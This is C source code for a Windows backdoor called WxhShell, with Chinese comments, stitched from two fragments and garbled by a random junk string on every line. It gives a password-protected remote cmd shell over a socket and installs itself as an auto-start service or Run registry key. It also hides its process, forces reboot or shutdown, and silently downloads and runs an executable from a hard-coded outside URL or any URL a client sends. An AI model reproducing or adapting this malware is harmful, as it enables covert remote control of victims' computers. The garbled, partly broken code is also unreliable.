    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D9*GS_K2 t  
    else { 7aj|-gZ  
    closesocket(wsh); M1^,g~e  
    ExitThread(0); )4vZIU#  
    } 9s8B>(L  
    break; pdX%TrM+[:  
    } PqZMuUd  
  // 获取shell Es/\/vF7]D  
  case 's': { DJ2EV^D+P  
    CmdShell(wsh); VPx"l5\  
    closesocket(wsh); M}kt q)  
    ExitThread(0); u_[s+ J/  
    break; {L$]NQdz  
  } Kz:g9  
  // 退出 ?6P P_QY  
  case 'x': { QWp,(Mv:r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VImcW;Xa  
    CloseIt(wsh); X>(?  
    break; '5\7>2fI  
    } @kw#\%Uz  
  // 离开 %6}S1fuA  
  case 'q': { \BOZhXfl'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {+_ pyL  
    closesocket(wsh); ^Qt4}V=  
    WSACleanup(); AL74q[>  
    exit(1); .H {  
    break; EbZRU65J}O  
        } Sp3?I2 o  
  } Av:5v3%  
  } z=J%-Hq>  
=\GuIH2  
  // 提示信息 S\RjP*H*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {p&L wTnf  
}  ^AS*X2y  
  } UT|FV twO  
#05#@v8.f  
  return; 0*o)k6?q3  
} ]PJb 9$f2  
UE^_SZ  
// shell模块句柄 tkx1iBW=  
int CmdShell(SOCKET sock) ;3wj(o0  
{ 5RCZv\Wd&  
STARTUPINFO si; qPY OO  
ZeroMemory(&si,sizeof(si)); f<bc8Lp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &rj3UF@hb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }YH@T]O}  
PROCESS_INFORMATION ProcessInfo; l=G=J(G  
char cmdline[]="cmd"; !_P;4E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Nn5z   
  return 0; q] eSDRW  
} ]y= ff6Q  
}<6xZy  
// 自身启动模式 Xo]QV.n  
int StartFromService(void) o-"/1zLg4  
{ `KBgVhS>  
typedef struct OoL#8R  
{ STmn%&  
  DWORD ExitStatus; I%.KFPV  
  DWORD PebBaseAddress; HQlhT  
  DWORD AffinityMask; 9t:P1  
  DWORD BasePriority; a=}JW]  
  ULONG UniqueProcessId; G66A]FIg  
  ULONG InheritedFromUniqueProcessId; 8@S7_x  
}   PROCESS_BASIC_INFORMATION; F[uy'~;@  
|y=;#A  
PROCNTQSIP NtQueryInformationProcess; HO%atE$>  
bkk1_X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R L&z\S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <+ 0cQq=2  
\W$bOp  
  HANDLE             hProcess; ENW>bS8 e`  
  PROCESS_BASIC_INFORMATION pbi; "X4L+]"$g  
~RGZY/4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wmbjL=f Ia  
  if(NULL == hInst ) return 0; ~Vq<nkWS  
e]R`B}vO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \-3\lZ3qj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V9 qZa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )2t!= ua  
foY=?mbL  
  if (!NtQueryInformationProcess) return 0; c^0Yu Bps[  
gn"Y?IZ?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {?tK]g#  
  if(!hProcess) return 0; 9i4!^DM_  
DtkY;Yl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?0k(wiF  
DrE +{Spm  
  CloseHandle(hProcess); 2K?~)q&t*  
m:|jv|f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Esh3 cn4  
if(hProcess==NULL) return 0; NMq#D$T  
<%WN<T{q|  
HMODULE hMod; Z@ AHe`A  
char procName[255]; $t.i)wg +  
unsigned long cbNeeded; ^3B)i=  
&<8Q/m]5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H{Tt>k  
|Y#KMi ~  
  CloseHandle(hProcess); :.KN;+tP  
M JJ]8:%  
if(strstr(procName,"services")) return 1; // 以服务启动 g}HB|$P7  
#>~<rcE(  
  return 0; // 注册表启动 ?Ne@OMc  
} =\CJsS.  
9+<%74|,  
// 主模块 $B6CLWB  
int StartWxhshell(LPSTR lpCmdLine) @pq#?  
{ *xm(K +j  
  SOCKET wsl; *=UxX ] 0y  
BOOL val=TRUE; c"qaULY  
  int port=0; E+wd9/;  
  struct sockaddr_in door; f4.k%|]  
lR] z8 &  
  if(wscfg.ws_autoins) Install(); (bEX"U-  
1n}q6oa=  
port=atoi(lpCmdLine); c32IO&W4  
&6!~Q,;K-  
if(port<=0) port=wscfg.ws_port; Nu !(7  
|GPR3%9  
  WSADATA data; 27mGX\T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !O=?n<Ex"  
3I!xa*u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~x<nz/^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &' ,A2iG  
  door.sin_family = AF_INET; m8KJ~02l#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !]c]:ed\C  
  door.sin_port = htons(port); v=!Ap ; 2L  
WT(inf[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6u-@_/O5R3  
closesocket(wsl); d&S4`\g?8  
return 1; /*g9drwaa  
} ~"\qX+  
aq-`Bar  
  if(listen(wsl,2) == INVALID_SOCKET) {  ut6M$d4  
closesocket(wsl); 4R_Vi[i  
return 1; HSq.0vYl6  
} fQ>=\*b9x^  
  Wxhshell(wsl); (_&W@:"z  
  WSACleanup(); }1]E=!?)&  
:eaqUW!Y  
return 0; \QF\Bh  
En&bwLu:s  
} f:$LVpXS-  
Hya  ";'  
// 以NT服务方式启动 5rG&Z5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +<p?i]3CHe  
{ X4<!E#  
DWORD   status = 0; U?/UW;k[  
  DWORD   specificError = 0xfffffff; +rEqE/QF  
-[-LR }u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |Ad1/>8i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; piIr .]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3Cq/ o'  
  serviceStatus.dwWin32ExitCode     = 0; Izrf42 >k  
  serviceStatus.dwServiceSpecificExitCode = 0; /Mq]WXq[V  
  serviceStatus.dwCheckPoint       = 0; Fy4jujP<  
  serviceStatus.dwWaitHint       = 0; -fF1vJ7L  
[~&C6pR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); npcB+6  
  if (hServiceStatusHandle==0) return; u Qy5t:!  
 & t b  
status = GetLastError(); tCnx:1  
  if (status!=NO_ERROR) 99XbpP55  
{ ~50b$];y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V>#iR>w_4,  
    serviceStatus.dwCheckPoint       = 0; NwQexYm1_  
    serviceStatus.dwWaitHint       = 0; z-(#Mlq:!  
    serviceStatus.dwWin32ExitCode     = status; .H1 kl)~V  
    serviceStatus.dwServiceSpecificExitCode = specificError; nnBgTtsC]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lo, z7"8  
    return; hK=\O)  
  }  ESOuDD2<  
<0[{Tn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <:#O*Y{  
  serviceStatus.dwCheckPoint       = 0; 1VW;[ ocQ  
  serviceStatus.dwWaitHint       = 0; AF{k^^|H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >`rK=?12<  
} }qUNXE@  
6 bL+q`3>  
// 处理NT服务事件,比如:启动、停止 7?6?`no~JJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )k5lA=(Yr+  
{ 3#>;h  
switch(fdwControl) U^_'e_)  
{ yQwj [  
case SERVICE_CONTROL_STOP: m35Blg34  
  serviceStatus.dwWin32ExitCode = 0; A`4Di8'Me  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KMz\h2X  
  serviceStatus.dwCheckPoint   = 0; \=+ s3p5N  
  serviceStatus.dwWaitHint     = 0; >V~q`htth  
  { @Z$`c{V<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @_0 g "Ul  
  } lD09(|`  
  return; 0x'-\)v>3  
case SERVICE_CONTROL_PAUSE: i<D}"h|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %hK?\Pg3=E  
  break; NN5V|# P}  
case SERVICE_CONTROL_CONTINUE: &s!"pEZWck  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G9\Bi-'ul  
  break; t+0&B"  
case SERVICE_CONTROL_INTERROGATE: f~Dl;f~H_;  
  break; cvn4Q-^  
}; xG<H${ k;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :"ZH  
} u>;#.N/  
S=O/W(ZB  
// 标准应用程序主函数 m:TS .@p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G'XlsyaWrb  
{ t1HUp dHY  
02X~' To"  
// 获取操作系统版本 v _Bu  
OsIsNt=GetOsVer(); a/+tsbw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k4_Fn61J/  
"s$v?voo  
  // 从命令行安装 cOUsbxYTD  
  if(strpbrk(lpCmdLine,"iI")) Install(); u(JC 4w'  
52B ye   
  // 下载执行文件 hCO*gtA)M  
if(wscfg.ws_downexe) { 6G"AP~|0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *BVkviqxz  
  WinExec(wscfg.ws_filenam,SW_HIDE); ).eT~e Gj  
} *IzcW6 [9  
{+f@7^/i.  
if(!OsIsNt) { Df;FOTTi%  
// 如果时win9x,隐藏进程并且设置为注册表启动 HzB&+c? Z  
HideProc(); /LhAQpUQT5  
StartWxhshell(lpCmdLine); /_rAy  
} dQ^>,(  
else Uq)|]a&e  
  if(StartFromService()) CAY^ `K!  
  // 以服务方式启动 c1wM"  
  StartServiceCtrlDispatcher(DispatchTable); aKaqi}IT  
else ".| 9h  
  // 普通方式启动 Vn1kC  
  StartWxhshell(lpCmdLine); _1*EMq6  
c=H(*#  
return 0; VL"ZC:n)-  
} f+0dwlIlC$  
iR4CY-  
9>psQ0IRvr  
MoA2Cp;8X  
=========================================== GFvZdP`s4  
NTiJEzW}  
'6{q;Bxo  
1rC8] M.N  
cWgiFv  
9A\J*OU  
" VS^%PM#:/  
,*0>CBJvv  
#include <stdio.h> xk86?2b{)  
#include <string.h> )8&Q.? T  
#include <windows.h> EA75 D&>I  
#include <winsock2.h> _6qf>=qQ`"  
#include <winsvc.h> 6KhHS@Z  
#include <urlmon.h> 8E/$nRfO d  
AEK* w4  
#pragma comment (lib, "Ws2_32.lib") c[<lr  
#pragma comment (lib, "urlmon.lib") [w~teX0!  
N;D (_:^  
#define MAX_USER   100 // 最大客户端连接数 OM]p"Jd  
#define BUF_SOCK   200 // sock buffer k(\HAIW  
#define KEY_BUFF   255 // 输入 buffer 5@j?7%_8  
U*/  
#define REBOOT     0   // 重启 a#!Vi93  
#define SHUTDOWN   1   // 关机 'O]_A57  
/{7x|ay]  
#define DEF_PORT   5000 // 监听端口 m&,d8Gss^  
8,Yc1  
#define REG_LEN     16   // 注册表键长度 F$ Us! NN  
#define SVC_LEN     80   // NT服务名长度 c R$2`:e  
u4$d#0sA  
// 从dll定义API dT,X8 "  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i[d-n/)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *we3i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =0,")aa!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {exF" ap  
0$ &Z_oJ  
// wxhshell配置信息 ?`\<t$M  
struct WSCFG { :<ujk  
  int ws_port;         // 监听端口 \UJ:PW$7  
  char ws_passstr[REG_LEN]; // 口令 $a\q<fN}  
  int ws_autoins;       // 安装标记, 1=yes 0=no wx(| $2{h  
  char ws_regname[REG_LEN]; // 注册表键名 NNutpA}s  
  char ws_svcname[REG_LEN]; // 服务名 3-32q)8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &4"(bZ:LO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S~YrXQ{_>-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nP'ab_>b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <3HW!7Ad1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zDa*n:S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w[PW-m^`  
h'UWf"d  
}; oX3Q9)  
xi;SKv;p  
// default Wxhshell configuration z^~uq:  
struct WSCFG wscfg={DEF_PORT, p(nC9NGB  
    "xuhuanlingzhe", - K}@Gp  
    1, QEUg=*3W=  
    "Wxhshell", K"Nq_Ddwd  
    "Wxhshell", 5/:Zj,41{  
            "WxhShell Service", nImRU.;P  
    "Wrsky Windows CmdShell Service", PKdM-R'Z  
    "Please Input Your Password: ", o [ar.+[  
  1, \C}tK,79  
  "http://www.wrsky.com/wxhshell.exe", :+]6SC0ql  
  "Wxhshell.exe" I$qL=  
    }; a<!g*UVL0M  
%~Nf,  
// 消息定义模块 IIop"6Ko  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o,bV.O.W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7_#v_ A^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1P8$z:|~  
char *msg_ws_ext="\n\rExit."; mg'-]>$$]  
char *msg_ws_end="\n\rQuit."; M P0ww$(  
char *msg_ws_boot="\n\rReboot..."; K+T`'J4  
char *msg_ws_poff="\n\rShutdown..."; LdWeI  
char *msg_ws_down="\n\rSave to "; /;HytFP  
w'M0Rd]  
char *msg_ws_err="\n\rErr!"; aH"tSgi  
char *msg_ws_ok="\n\rOK!"; 0%F C;v0  
,dBtj8=  
char ExeFile[MAX_PATH]; s.zH.q,  
int nUser = 0; F\-qXSA  
HANDLE handles[MAX_USER]; ?3KI}'}EM  
int OsIsNt; ]o,)#/' $  
aM?7'8/  
SERVICE_STATUS       serviceStatus; '-w G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J5J3%6I  
EF)kYz!@  
// 函数声明 c~R ElL  
int Install(void); \FVR'A1  
int Uninstall(void); =\X<UA}  
int DownloadFile(char *sURL, SOCKET wsh); oH6(Lq'q  
int Boot(int flag); 2U~oWg2P  
void HideProc(void); lt,x(2  
int GetOsVer(void); s)/i_Oe$\  
int Wxhshell(SOCKET wsl); &lI.N~Ao  
void TalkWithClient(void *cs); n )`*{uv$  
int CmdShell(SOCKET sock); {j:{wW.  
int StartFromService(void);  Kn\Oj=4  
int StartWxhshell(LPSTR lpCmdLine); 8l!S<RA  
A|RAMO@le  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4 Iy\   
VOID WINAPI NTServiceHandler( DWORD fdwControl );  J|6aa  
0pkU1t~9  
// 数据结构和表定义 Mv4JF(,S  
SERVICE_TABLE_ENTRY DispatchTable[] = Qt>yRt  
{ 8VMq>-  
{wscfg.ws_svcname, NTServiceMain}, dqF--)Nb  
{NULL, NULL} 1f[!=p  
}; 8{?Oi'-|0  
HLk}E*.mC  
// 自我安装 &rw|fF|]  
int Install(void) C:4h  
{ P7u5Ykc*  
  char svExeFile[MAX_PATH]; <PV @JJ"  
  HKEY key; 3%<ia$  
  strcpy(svExeFile,ExeFile); BvX!n"QIb  
+hXph  
// 如果是win9x系统,修改注册表设为自启动 zT_{M qY  
if(!OsIsNt) { -pqShDar|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'Iu$4xo`[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mi97$Cr2  
  RegCloseKey(key); (x.K%QC)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  KsUsj3J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %j^=  
  RegCloseKey(key); Atfon&^  
  return 0; GVEjB;  
    } u{>5  
  } ,T&B.'cq  
} ?]3`WJOj  
else { ,qvz:a  
gvy%`SSW  
// 如果是NT以上系统,安装为系统服务 i$og v2J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .4KXe"~E  
if (schSCManager!=0) ~=0zZTG  
{ <7TpC@"/g  
  SC_HANDLE schService = CreateService pOH_ CXw  
  ( kk!}mbA_}  
  schSCManager, u :m]-'  
  wscfg.ws_svcname, Q3oVl^q  
  wscfg.ws_svcdisp, G e~&Ble  
  SERVICE_ALL_ACCESS, 1L &_3}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S4?ss I  
  SERVICE_AUTO_START, ND21;  
  SERVICE_ERROR_NORMAL, '{OZ[$E  
  svExeFile, {mkYW-4Se  
  NULL, kTC6fNj[  
  NULL, SrHRpxy  
  NULL, ?J<4IvL/  
  NULL, X0U{9zP  
  NULL cm7aL%D$c  
  ); EzG7RjW  
  if (schService!=0) #~p1\['|M  
  { `+* Mr  
  CloseServiceHandle(schService); pOS.`rSK  
  CloseServiceHandle(schSCManager); ~9'VP }\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'iL['4~.  
  strcat(svExeFile,wscfg.ws_svcname); l|N1u=Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MR+ndB<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); })"9TfC  
  RegCloseKey(key); }B0V$  
  return 0; :_H$*Q=1  
    } Wb*d`hzQ}  
  } pQEHWq"Q  
  CloseServiceHandle(schSCManager); Yq;S%.  
} {kZhje^$vi  
} i[jAAr$  
@~a52'\  
return 1; ?<F\S2W  
} g<.VW 0  
|5![k<o#  
// 自我卸载 [#2= w  
int Uninstall(void) vx-u+/\  
{ P5aHLNit  
  HKEY key; gQ/zk3?k  
k ( R  
if(!OsIsNt) { -M[5K/[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k`TEA?RfQ  
  RegDeleteValue(key,wscfg.ws_regname); y l3iU:+V  
  RegCloseKey(key); PU-;Q@< E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U15Hq*8Z  
  RegDeleteValue(key,wscfg.ws_regname); yY,.GzIjCj  
  RegCloseKey(key); YjG0: 9  
  return 0; l<qxr.X  
  } $9ON 3>  
} /wvA]ooT  
} nTYqZlI,  
else { jkPXkysm  
e1+ %c9UQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q:nYUW o   
if (schSCManager!=0) Vr5a:u'  
{ Lw!@[;2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1>|p1YZ"  
  if (schService!=0) 8vaqj/  
  { !})+WSs'"s  
  if(DeleteService(schService)!=0) { \ &_ -  
  CloseServiceHandle(schService); >#>YoA@S  
  CloseServiceHandle(schSCManager); wmT3 >  
  return 0; :l*wf/&z  
  } 9 -TFyZYU  
  CloseServiceHandle(schService); J.O;c5wL  
  } fh,Y#.V`  
  CloseServiceHandle(schSCManager); 5Z;Py"%  
} #UGbSOoCtn  
} oA42?I ^  
, :kCt=4%  
return 1; [& hdyLt  
} ;l?>+m@H  
-G*u2i_*  
// 从指定url下载文件 v_G4:tY  
int DownloadFile(char *sURL, SOCKET wsh) gw5CU)r4$  
{ S9xC> |<  
  HRESULT hr; r{Fu|aoa;5  
char seps[]= "/"; 6|9];)  
char *token; } 10Dvt>+  
char *file; wePMBL1P*  
char myURL[MAX_PATH]; (D~mmffY1  
char myFILE[MAX_PATH]; rfCoi>{<  
NGb`f-:jw  
strcpy(myURL,sURL); E2dSOZS:)%  
  token=strtok(myURL,seps); @zPWu}&m  
  while(token!=NULL) n287@Y4Ru  
  { & f!!UZMt)  
    file=token; ~[,E i k  
  token=strtok(NULL,seps); ~%sDQt\S  
  } OGae]O<  
^(6.P)$  
GetCurrentDirectory(MAX_PATH,myFILE); 4I2ppz   
strcat(myFILE, "\\"); Q0M8 }  
strcat(myFILE, file); -|ee=BV  
  send(wsh,myFILE,strlen(myFILE),0); 1zl@$ Nt  
send(wsh,"...",3,0); Wc+ e>*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  r5F#q  
  if(hr==S_OK) qnT:x{o  
return 0; @Yt[%tOF+  
else 47t^{WrT  
return 1; q 2= ^l  
oR3$A :!P=  
} `#9ZP  
Lqz}h-Ei  
// 系统电源模块 >Axe7<l  
int Boot(int flag) i>0bI^H  
{ XSZW9/I-(|  
  HANDLE hToken; 242lR0#aY  
  TOKEN_PRIVILEGES tkp; Y.&z$+  
irrQ$N}   
  if(OsIsNt) { f)gA.Rz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q OdvzVy<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $R"~BZbt;  
    tkp.PrivilegeCount = 1; )|2g#hH5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7$b78wax  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $r_z""eOc  
if(flag==REBOOT) { `cVG_= 2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |@Z QoH  
  return 0; B\N,%vsx#U  
} \7Zk[)!FL  
else { i;Gl-b\_h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;1F3.ibE  
  return 0; Ba@UX(t  
} z+wBZn{0I  
  } !5p 01]7  
  else { b%pLjvU  
if(flag==REBOOT) { EP{y?+E2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0R *!o\y  
  return 0; (\SxG\`  
} <4Ujk8Zj  
else { |ukEnjI`u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )8P<ZtEU  
  return 0; ;.m"y-  
} 5)EnOT"'  
} JkpA \<  
];(w8l  
return 1; ;l~gA|A  
} qzV:N8+,`  
r)h+pga5^E  
// win9x进程隐藏模块 -KO E2f  
void HideProc(void) VIynlvy  
{ !_zmm$bR  
g3"`b)M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |-Y,:sY:  
  if ( hKernel != NULL ) 9g " ?`_  
  { 9n44 *sZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x/5%a{~j2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j63w(Jv/  
    FreeLibrary(hKernel); <51(q_f  
  } V =1Y&y  
^bS&[+9E  
return; My=p>{s  
} 3O$Q>.0w/  
l$.C40v  
// 获取操作系统版本 .PxtcC.K  
int GetOsVer(void) @YV-8;hO  
{ 7FfzMs[ \e  
  OSVERSIONINFO winfo; /z~;.jRg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <BT}Tv9  
  GetVersionEx(&winfo); #O`n Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~F DJKGK  
  return 1; P>jlFm  
  else "TG}aS  
  return 0; VxaJ[s3PQ&  
} kM@8RAxA  
8'/vW~f  
// 客户端句柄模块 K]Ed-Tz8QZ  
int Wxhshell(SOCKET wsl) lts{<AU~  
{ J Wof<D,  
  SOCKET wsh; |P~TZ  
  struct sockaddr_in client; Z>M0[DJ_  
  DWORD myID; 8CwgV  
\>M3E  
  while(nUser<MAX_USER) -pyTzC$HO  
{ ~?S/0]?c  
  int nSize=sizeof(client); i!sKL%z}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7e>n{rl  
  if(wsh==INVALID_SOCKET) return 1; r!j_KiUy  
~eE2!/%9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z l@ <X0q  
if(handles[nUser]==0) {n2jAR9nq  
  closesocket(wsh); |)yO] pB:  
else ;/ WtO2  
  nUser++; o{nBtxZ"  
  } aElEV e3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -bcm"(<T'  
>*k3D&  
  return 0; JKXs/r;:  
} \JN?3}_J  
zTm&m#){3A  
// 关闭 socket ocGqX Dg3  
void CloseIt(SOCKET wsh) s#-`,jqD  
{ 57D /"  
closesocket(wsh); %A:<rO85o  
nUser--; exZa:9 sp  
ExitThread(0); 7n}J}8Y*U2  
} YG!~v~sV  
oTT/;~I  
// 客户端请求句柄 S'vrO}yU  
void TalkWithClient(void *cs) )0~zL} )?  
{ gz Qc  
7s1FJm=Y/  
  SOCKET wsh=(SOCKET)cs; 3zv_q&+8b  
  char pwd[SVC_LEN]; mp>,TOi~s7  
  char cmd[KEY_BUFF]; qAHQZKk  
char chr[1]; >t3%-Kc  
int i,j; 0x[v)k9"0  
Rw=g g >\  
  while (nUser < MAX_USER) { DMsxHAE1  
QUwSnotgU  
if(wscfg.ws_passstr) { sHmzwvpLA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wHAoO#`wn5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .G4(Ryh  
  //ZeroMemory(pwd,KEY_BUFF); WEOW6UV(  
      i=0; 0,E*9y}  
  while(i<SVC_LEN) { 7S(5\9  
?tV$o,11  
  // 设置超时 UuzT*Y>  
  fd_set FdRead; +*mi%)I  
  struct timeval TimeOut; N>xs@_"o  
  FD_ZERO(&FdRead); tNG0ft%a  
  FD_SET(wsh,&FdRead); rAM{<  
  TimeOut.tv_sec=8; Nu<M~/  
  TimeOut.tv_usec=0; nV@k}IJg:?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @y2{LUJe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >5'C<jc C  
O#sDZ.EL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u @?n3l  
  pwd=chr[0]; q`{crY30  
  if(chr[0]==0xd || chr[0]==0xa) { oGu-:X=`9  
  pwd=0; 4D0=3Vy  
  break; 48Vmz  
  } Q+ $+{g-8  
  i++; +pkX$yz  
    } B_aLqB]U  
7%b?[}y4  
  // 如果是非法用户,关闭 socket mr,IP=e~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sbc  
} /YKg.DA|  
Q~MV0<{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x4r\cL1!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [>U'P1@ql  
pIXbr($  
while(1) { /2Y t\=S=  
dmgoVF_qR  
  ZeroMemory(cmd,KEY_BUFF); G\@ uj>Z  
>WVos 4  
      // 自动支持客户端 telnet标准   < HlS0J9  
  j=0; l c?9B  
  while(j<KEY_BUFF) { 7y""#-}V[r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )! Jo7SR  
  cmd[j]=chr[0]; yM`J+tq  
  if(chr[0]==0xa || chr[0]==0xd) { Y(h86>z*w  
  cmd[j]=0; p~J|l$%0rQ  
  break; ]+u`E  
  } lZCTthr\  
  j++; 2_'{f1bVxz  
    } ^_0zO$z,  
*UJ.cQ}  
  // 下载文件 r#M0X^4A  
  if(strstr(cmd,"http://")) { AqM}@2#%%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }1kT0*'L  
  if(DownloadFile(cmd,wsh)) VEj-%"\   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b1>zGC^|  
  else *~YU0o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O10,h(O  
  } 8vpB(VxV+  
  else { uQk}  
